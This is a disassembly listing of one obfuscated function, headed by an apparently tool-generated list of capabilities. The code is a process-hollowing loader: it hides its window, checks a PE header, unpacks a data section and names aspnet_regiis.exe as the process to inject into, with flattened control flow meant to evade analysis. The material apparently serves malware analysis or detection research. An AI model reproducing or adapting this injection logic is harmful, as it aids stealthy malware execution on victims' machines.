Function at 0x100085b0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x130
mov eax, dword [0x1006a204]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x1006b488]
mov eax, dword [0x1006b484]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x132], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x131], al
mov dword [ebp - 0x138], 0x9fca9a8d
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x13c], eax
sub eax, 0x80c96586
je 0x1000bc98
jmp 0x10008623
mov eax, dword [ebp - 0x13c]
sub eax, 0x81634770
je 0x1000aedb
jmp 0x10008639
mov eax, dword [ebp - 0x13c]
sub eax, 0x81abf5bb
je 0x1000b88e
jmp 0x1000864f
mov eax, dword [ebp - 0x13c]
sub eax, 0x820f6ebd
je 0x1000c9a3
jmp 0x10008665
mov eax, dword [ebp - 0x13c]
sub eax, 0x8311633e
je 0x1000ba31
jmp 0x1000867b
mov eax, dword [ebp - 0x13c]
sub eax, 0x849bf0f7
je 0x1000f6a3
jmp 0x10008691
mov eax, dword [ebp - 0x13c]
sub eax, 0x8576be4e
je 0x1000a831
jmp 0x100086a7
mov eax, dword [ebp - 0x13c]
sub eax, 0x86feafe8
je 0x1000eb1d
jmp 0x100086bd
mov eax, dword [ebp - 0x13c]
sub eax, 0x87e9d314
je 0x1000f44c
jmp 0x100086d3
mov eax, dword [ebp - 0x13c]
sub eax, 0x8803db0a
je 0x1000ee11
jmp 0x100086e9
mov eax, dword [ebp - 0x13c]
sub eax, 0x8a696c31
je 0x1000ee32
jmp 0x100086ff
mov eax, dword [ebp - 0x13c]
sub eax, 0x8aac086b
je 0x1000dea5
jmp 0x10008715
mov eax, dword [ebp - 0x13c]
sub eax, 0x8b95015e
je 0x1000d081
jmp 0x1000872b
mov eax, dword [ebp - 0x13c]
sub eax, 0x8bdb127f
je 0x1000a38f
jmp 0x10008741
mov eax, dword [ebp - 0x13c]
sub eax, 0x8c26ed67
je 0x1000f644
jmp 0x10008757
mov eax, dword [ebp - 0x13c]
sub eax, 0x8c5b17e6
je 0x1000aa0e
jmp 0x1000876d
mov eax, dword [ebp - 0x13c]
sub eax, 0x8c7bd983
je 0x1000f6bf
jmp 0x10008783
mov eax, dword [ebp - 0x13c]
sub eax, 0x8e676c04
je 0x1000f242
jmp 0x10008799
mov eax, dword [ebp - 0x13c]
sub eax, 0x8fb0efc3
je 0x1000a405
jmp 0x100087af
mov eax, dword [ebp - 0x13c]
sub eax, 0x9060ff67
je 0x1000a202
jmp 0x100087c5
mov eax, dword [ebp - 0x13c]
sub eax, 0x90c13b64
je 0x1000c0dc
jmp 0x100087db
mov eax, dword [ebp - 0x13c]
sub eax, 0x91a9963a
je 0x1000f3b6
jmp 0x100087f1
mov eax, dword [ebp - 0x13c]
sub eax, 0x926630cc
je 0x1000e63a
jmp 0x10008807
mov eax, dword [ebp - 0x13c]
sub eax, 0x9290d41b
je 0x1000f54c
jmp 0x1000881d
mov eax, dword [ebp - 0x13c]
sub eax, 0x9414aca6
je 0x1000baf0
jmp 0x10008833
mov eax, dword [ebp - 0x13c]
sub eax, 0x94fda131
je 0x1000dfd5
jmp 0x10008849
mov eax, dword [ebp - 0x13c]
sub eax, 0x95c94577
je 0x1000d189
jmp 0x1000885f
mov eax, dword [ebp - 0x13c]
sub eax, 0x966ba579
je 0x1000b2f0
jmp 0x10008875
mov eax, dword [ebp - 0x13c]
sub eax, 0x96c76cd0
je 0x1000ae7b
jmp 0x1000888b
mov eax, dword [ebp - 0x13c]
sub eax, 0x98611b80
je 0x1000ef6b
jmp 0x100088a1
mov eax, dword [ebp - 0x13c]
sub eax, 0x98863f0e
je 0x1000af9a
jmp 0x100088b7
mov eax, dword [ebp - 0x13c]
sub eax, 0x994cd3e3
je 0x1000dac6
jmp 0x100088cd
mov eax, dword [ebp - 0x13c]
sub eax, 0x99589b5c
je 0x1000c1cc
jmp 0x100088e3
mov eax, dword [ebp - 0x13c]
sub eax, 0x99fe3b3d
je 0x1000cdb7
jmp 0x100088f9
mov eax, dword [ebp - 0x13c]
sub eax, 0x9aa36650
je 0x1000ba82
jmp 0x1000890f
mov eax, dword [ebp - 0x13c]
sub eax, 0x9c5cf042
je 0x1000e5a3
jmp 0x10008925
mov eax, dword [ebp - 0x13c]
sub eax, 0x9ea56892
je 0x1000ad12
jmp 0x1000893b
mov eax, dword [ebp - 0x13c]
sub eax, 0x9f59bf48
je 0x1000f626
jmp 0x10008951
mov eax, dword [ebp - 0x13c]
sub eax, 0x9fa00763
je 0x1000c2c2
jmp 0x10008967
mov eax, dword [ebp - 0x13c]
sub eax, 0x9fca9a8d
je 0x1000a0cc
jmp 0x1000897d
mov eax, dword [ebp - 0x13c]
sub eax, 0xa0d9bb46
je 0x1000f608
jmp 0x10008993
mov eax, dword [ebp - 0x13c]
sub eax, 0xa1f48a75
je 0x1000d338
jmp 0x100089a9
mov eax, dword [ebp - 0x13c]
sub eax, 0xa1f8d6f4
je 0x1000b561
jmp 0x100089bf
mov eax, dword [ebp - 0x13c]
sub eax, 0xa29dc2aa
je 0x1000f8b5
jmp 0x100089d5
mov eax, dword [ebp - 0x13c]
sub eax, 0xa32b0d33
je 0x1000aa85
jmp 0x100089eb
mov eax, dword [ebp - 0x13c]
sub eax, 0xa44294f2
je 0x1000eb63
jmp 0x10008a01
mov eax, dword [ebp - 0x13c]
sub eax, 0xa46b489c
je 0x1000ae05
jmp 0x10008a17
mov eax, dword [ebp - 0x13c]
sub eax, 0xa4ec1fec
je 0x1000daac
jmp 0x10008a2d
mov eax, dword [ebp - 0x13c]
sub eax, 0xa59fcfbc
je 0x1000ebf4
jmp 0x10008a43
mov eax, dword [ebp - 0x13c]
sub eax, 0xa619617d
je 0x1000f194
jmp 0x10008a59
mov eax, dword [ebp - 0x13c]
sub eax, 0xa697d1d1
je 0x1000f2ee
jmp 0x10008a6f
mov eax, dword [ebp - 0x13c]
sub eax, 0xa6edacbf
je 0x1000a761
jmp 0x10008a85
mov eax, dword [ebp - 0x13c]
sub eax, 0xa7f8b1a5
je 0x1000be66
jmp 0x10008a9b
mov eax, dword [ebp - 0x13c]
sub eax, 0xaab4d85f
je 0x1000db34
jmp 0x10008ab1
mov eax, dword [ebp - 0x13c]
sub eax, 0xac4cff2d
je 0x1000e024
jmp 0x10008ac7
mov eax, dword [ebp - 0x13c]
sub eax, 0xacaaa4ef
je 0x1000bf90
jmp 0x10008add
mov eax, dword [ebp - 0x13c]
sub eax, 0xace903ca
je 0x1000ca83
jmp 0x10008af3
mov eax, dword [ebp - 0x13c]
sub eax, 0xacf0011f
je 0x1000f6e9
jmp 0x10008b09
mov eax, dword [ebp - 0x13c]
sub eax, 0xadaa9e0d
je 0x1000a7b2
jmp 0x10008b1f
mov eax, dword [ebp - 0x13c]
sub eax, 0xae46747e
je 0x1000d411
jmp 0x10008b35
mov eax, dword [ebp - 0x13c]
sub eax, 0xb01feb00
je 0x1000c338
jmp 0x10008b4b
mov eax, dword [ebp - 0x13c]
sub eax, 0xb2097541
je 0x1000eb08
jmp 0x10008b61
mov eax, dword [ebp - 0x13c]
sub eax, 0xb32eb455
je 0x1000b697
jmp 0x10008b77
mov eax, dword [ebp - 0x13c]
sub eax, 0xb42a7428
je 0x1000aaf4
jmp 0x10008b8d
mov eax, dword [ebp - 0x13c]
sub eax, 0xb487f877
je 0x1000cd66
mov bl, byte [ebp - 0x132]
mov dh, byte [ebp - 0x131]
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x129fced7
mov ecx, 0x6c41f337
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000f8ce
mov eax, dword [0x1006b488]
mov ecx, dword [0x1006b484]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x129fced7
mov ecx, 0x5597cfad
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000f8ce
mov ecx, dword [0x1006b488]
mov eax, dword [0x1006b484]
mov edx, ecx
sub edx, 0x65a827f9
sub edx, 1
add edx, 0x65a827f9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3110fe1e
mov ecx, 0x8fb0efc3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000f8ce
mov ecx, dword [0x1006b488]
mov eax, dword [0x1006b484]
mov edx, ecx
add edx, 0xa9fcf7d0
sub edx, 1
sub edx, 0xa9fcf7d0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa619617d
mov ecx, 0x462c37c8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000f8ce
mov eax, dword [0x1006b488]
mov ecx, dword [0x1006b484]
mov edx, eax
sub edx, 0xea14e1d3
sub edx, 1
add edx, 0xea14e1d3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xee2084f6
mov ecx, 0xadaa9e0d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000f8ce
mov eax, dword [ebp - 0x130]
mov eax, dword [eax]
mov dword [ebp - 0xb0], eax
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
mov eax, dword [eax + 0x3c]
mov dword [ebp - 0xac], eax
mov eax, dword [0x1006b488]
mov ecx, dword [0x1006b484]
mov edx, eax
sub edx, 0x4110b4d3
sub edx, 1
add edx, 0x4110b4d3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xee2084f6
mov ecx, 0xb22c7dc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000f8ce
mov ecx, dword [0x1006b488]
mov eax, dword [0x1006b484]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x67453aa9
mov ecx, 0xbd68ffda
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000f8ce
mov eax, dword [ebp - 0x128]
mov edx, dword [eax]
mov eax, 0x51cd1790
mov ecx, 0x2564ef7d
cmp dword [edx], 0x4550
cmove eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000f8ce
mov eax, dword [ebp - 0x120]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.100118d0
add esp, 0xc
mov eax, dword [ebp - 0x11c]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.100118d0
add esp, 0xc
mov eax, dword [ebp - 0x128]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x60
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x138], 0xb42a7428
jmp 0x1000f8ce
mov ecx, dword [0x1006b488]
mov eax, dword [0x1006b484]
mov edx, ecx
add edx, 0xa83c7b48
sub edx, 1
sub edx, 0xa83c7b48
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x38d8ab52
mov ecx, 0x632b9a99
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000f8ce
mov dword [ebp - 0x138], 0xcd66e760
jmp 0x1000f8ce
mov ecx, dword [0x1006b488]
mov eax, dword [0x1006b484]
mov edx, ecx
sub edx, 0xfc545092
sub edx, 1
add edx, 0xfc545092
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6361cca6
mov ecx, 0x96c76cd0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000f8ce
mov eax, dword [0x1006b488]
mov ecx, dword [0x1006b484]
mov edx, eax
sub edx, 0xc0cfd14a
sub edx, 1
add edx, 0xc0cfd14a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6361cca6
mov ecx, 0xde13586e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000f8ce
mov eax, dword [0x1006b488]
mov ecx, dword [0x1006b484]
mov edx, eax
add edx, 0x1529c16a
sub edx, 1
sub edx, 0x1529c16a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x43d9bf5d
mov ecx, 0x17c28b61
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000f8ce
mov ecx, dword [0x1006b488]
mov eax, dword [0x1006b484]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x2da01d67
mov ecx, 0x1d2c0280
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000f8ce
mov eax, dword [0x1006b488]
mov ecx, dword [0x1006b484]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbc53bfe6
mov ecx, 0x593077a8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000f8ce
mov eax, dword [ebp - 0x10c]
mov dword [eax], 0
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x138], 0xeda39ae6
jmp 0x1000f8ce
mov ecx, dword [0x1006b488]
mov eax, dword [0x1006b484]
mov edx, ecx
sub edx, 0xd4b7ca2d
sub edx, 1
add edx, 0xd4b7ca2d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x52c19a0c
mov ecx, 0x1e8fca24
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000f8ce
mov dword [ebp - 0x138], 0xe489d22b
jmp 0x1000f8ce
mov eax, dword [0x1006b488]
mov ecx, dword [0x1006b484]
mov edx, eax
add edx, 0xd6ce7a9d
sub edx, 1
sub edx, 0xd6ce7a9d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2488423a
mov ecx, 0x9aa36650
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000f8ce
mov ecx, dword [0x1006b488]
mov eax, dword [0x1006b484]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2488423a
mov ecx, 0x9414aca6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000f8ce
mov dword [ebp - 0x138], 0xcdbe8fb3
jmp 0x1000f8ce
mov dword [ebp - 0x138], 0xb8409824
jmp 0x1000f8ce
mov eax, dword [ebp - 0xf4]
mov dword [eax], 0
mov eax, dword [ebp - 0x128]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0xf0]
mov dword [eax], ecx
mov eax, dword [0x1006b488]
mov ecx, dword [0x1006b484]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcd63c3b
mov ecx, 0x2094a88f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000f8ce
mov ecx, dword [0x1006b488]
mov eax, dword [0x1006b484]
mov edx, ecx
add edx, 0x26acbd98
sub edx, 1
sub edx, 0x26acbd98
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x87e9d314
mov ecx, 0xdf113bb4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000f8ce
mov eax, dword [ebp - 0xec]
mov dword [eax], 0
mov ecx, dword [0x1006b488]
mov eax, dword [0x1006b484]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd62ed1c6
mov ecx, 0x6f1ce4e6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000f8ce
mov dword [ebp - 0x138], 0x2af9f52f
jmp 0x1000f8ce
mov ecx, dword [0x1006b488]
mov eax, dword [0x1006b484]
mov edx, ecx
add edx, 0xfbd62467
sub edx, 1
sub edx, 0xfbd62467
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x2b2d7c44
mov ecx, 0xb01feb00
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000f8ce
mov eax, dword [0x1006b488]
mov ecx, dword [0x1006b484]
mov edx, eax
add edx, 0x341caf96
sub edx, 1
sub edx, 0x341caf96
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2b2d7c44
mov ecx, 0xd07fddda
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000f8ce
mov eax, dword [0x1006b488]
mov ecx, dword [0x1006b484]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3e9b504a
mov ecx, 0x3fcdda90
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000f8ce
mov eax, dword [0x1006b488]
mov ecx, dword [0x1006b484]
mov edx, eax
add edx, 0x33b341f7
sub edx, 1
sub edx, 0x33b341f7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8803db0a
mov ecx, 0x424a1879
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000f8ce
mov dword [ebp - 0x138], 0x458eac88
jmp 0x1000f8ce
mov eax, dword [0x1006b488]
mov ecx, dword [0x1006b484]
mov edx, eax
sub edx, 0xb2cceba9
sub edx, 1
add edx, 0xb2cceba9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfd0658f8
mov ecx, 0x3f440e9b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000f8ce
mov dword [ebp - 0x138], 0x6d122769
jmp 0x1000f8ce
mov edx, dword [ebp - 0x50]
mov eax, 0x994cd3e3
mov ecx, 0x413d598a
cmp dword [edx + 4], 0
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000f8ce
mov edx, dword [ebp - 0x48]
mov esi, dword [ebp - 0x44]
mov eax, 0xc0c0c89e
mov ecx, 0xce8aeea
cmp edx, esi
cmovb eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000f8ce
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0xf4]
mov dword [eax], ecx
mov dword [ebp - 0x138], 0x6d122769
jmp 0x1000f8ce
mov ecx, dword [0x1006b488]
mov eax, dword [0x1006b484]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9f59bf48
mov ecx, 0xaab4d85f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000f8ce
mov eax, dword [0x1006b488]
mov ecx, dword [0x1006b484]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9f59bf48
mov ecx, 0x652821f1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000f8ce
mov dword [ebp - 0x138], 0x19c2fd97
jmp 0x1000f8ce
mov dword [ebp - 0x138], 0x393bc694
jmp 0x1000f8ce
mov ecx, dword [0x1006b488]
mov eax, dword [0x1006b484]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x404a1c42
mov ecx, 0xea3b7f43
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000f8ce
mov dword [ebp - 0x138], 0xc02e770d
jmp 0x1000f8ce
mov ecx, dword [0x1006b488]
mov eax, dword [0x1006b484]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf9dffc88
mov ecx, 0x1cb4e5c9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000f8ce
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x138], 0xeed375a4
jmp 0x1000f8ce
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x138], 0xc305644c
jmp 0x1000f8ce
mov eax, dword [ebp - 0xec]
mov dword [eax], 0
mov dword [ebp - 0x138], 0x4ee793da
jmp 0x1000f8ce
mov eax, dword [ebp - 0xec]
mov eax, dword [ebp - 0x128]
mov ecx, dword [0x1006b488]
mov eax, dword [0x1006b484]
mov edx, ecx
sub edx, 0xa6f81c08
sub edx, 1
add edx, 0xa6f81c08
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x15eabea6
mov ecx, 0xd137938b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000f8ce
mov eax, dword [ebp - 0x130]
mov eax, dword [ebp - 0xfc]
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0x138], 0x820f6ebd
jmp 0x1000f8ce
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x60]
add ecx, eax
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
mov edx, dword [ebp - 0xfc]
mov edx, dword [edx]
mov esi, dword [ebp - 0xec]
imul esi, dword [esi], 0x28
add edx, esi
mov edx, dword [edx + 0xc]
add eax, 0x549605e9
sub eax, edx
sub eax, 0x549605e9
add ecx, eax
mov eax, dword [ebp - 0xf4]
mov dword [eax], ecx
mov dword [ebp - 0x138], 0xd511b8e4
jmp 0x1000f8ce
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 0x138], 0x52a46140
jmp 0x1000f8ce
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.10001400
add esp, 4
lea eax, [0x1001b1d1]
sub esp, 4
mov dword [esp], eax
call fcn.10001400
add esp, 4
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x49200
call section..text
add esp, 8
mov eax, dword [ebp - 0x130]
lea ecx, section..data
mov dword [eax], ecx
mov eax, dword [ebp - 0x130]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x12c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x12c]
mov dword [ebp - 0x138], 0x462c37c8
jmp 0x1000f8ce
mov eax, dword [ebp - 0x114]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov dword [ebp - 0x138], 0x7e51b499
jmp 0x1000f8ce
mov dword [ebp - 0x138], 0xf5fe53f1
jmp 0x1000f8ce
mov eax, dword [ebp - 0x10c]
mov edx, dword [eax]
